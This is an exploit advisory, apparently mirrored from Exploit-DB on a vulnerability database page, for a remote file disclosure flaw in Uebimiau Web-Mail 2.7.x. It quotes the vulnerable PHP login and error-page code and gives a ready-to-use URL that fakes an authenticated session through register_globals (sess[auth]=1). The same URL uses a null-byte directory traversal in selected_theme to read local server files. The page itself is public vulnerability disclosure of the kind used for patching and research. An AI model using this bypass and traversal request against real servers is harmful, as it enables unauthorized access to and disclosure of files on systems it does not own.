Lucene search
+L

Uebimiau Web-Mail 2.7.10/2.7.2 - Remote File Disclosure

🗓️ 06 Jan 2008 00:00:00Reported by Eugene MinaevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 75 Views

Remote File Disclosure in Uebimiau Web-Mail 2.7.10/2.7.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2008-0140
8 Jan 200819:00
cve
cve
CVE
CVE-2008-0210
10 Jan 200800:00
cve
cvelist
Cvelist
CVE-2008-0140
8 Jan 200819:00
cvelist
cvelist
Cvelist
CVE-2008-0210
10 Jan 200800:00
cvelist
euvd
EUVD
EUVD-2008-0153
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-0222
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-0140
8 Jan 200819:46
nvd
nvd
NVD
CVE-2008-0210
10 Jan 200800:46
nvd
prion
Prion
Directory traversal
8 Jan 200819:46
prion
prion
Prion
Directory traversal
10 Jan 200800:46
prion
----[ Uebimiau Web-Mail Remote File Reader ... ITDefence.ru Antichat.ru ]

							Uebimiau Web-Mail Remote File Reader
							Eugene Minaev [email protected]
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / .
			. \_\\________[________________________________________]_________//_//_/ . .


		At first i decided to look login script . Each script includes this code

		<?php
		if(strlen($f_pass) > 0) {

		..elseif (
		($sess["auth"] && intval((time()-$start)/60) < $idle_timeout)) {

		$UM->mail_user   = $f_user    = $sess["user"];
		$UM->mail_pass   = $f_pass    = $sess["pass"];
		$UM->mail_server = $f_server  = $sess["server"];
		$UM->mail_email  = $f_email   = $sess["email"];

		} else {
		Header("Location: ./index.php?tid=$tid&lid=$lid\r\n");
		exit;
		}
		?>

		So , if register_globals on , we can make a request like script.php?f_pass=+toxa+&sess[auth]=1
		to make script think that we are authorized user . Then i looked each script to find something
		interest.

		<?php
		define("SMARTY_DIR","./smarty/");
		require_once(SMARTY_DIR."Smarty.class.php");
		$smarty = new Smarty;
		$smarty->compile_dir = $temporary_directory;
		$smarty->security=true;
		$smarty->secure_dir=array("./");
		$smarty->assign("umLanguageFile",$selected_language.".txt");
		?>

		Looks great  :)  But selected_language was already defined . But there was a similar code with EXTRACT.
		So , we can read local files on server !

		<?php
		if($phpver >= 4.1) {
		extract($_GET);
		}

		$smarty->assign("umSid",$sid);
		$smarty->assign("umLid",$lid);
		$smarty->assign("umTid",$tid);

		$smarty->assign("umErrorCode",$err);

		$smarty->display("$selected_theme/error.htm");
		?>

		http://test1.ru/uebimiau/error.php?f_pass=blackybr&sess[auth]=1&selected_theme=../ksuri.php%00




----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jan 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.4
EPSS0.02297
75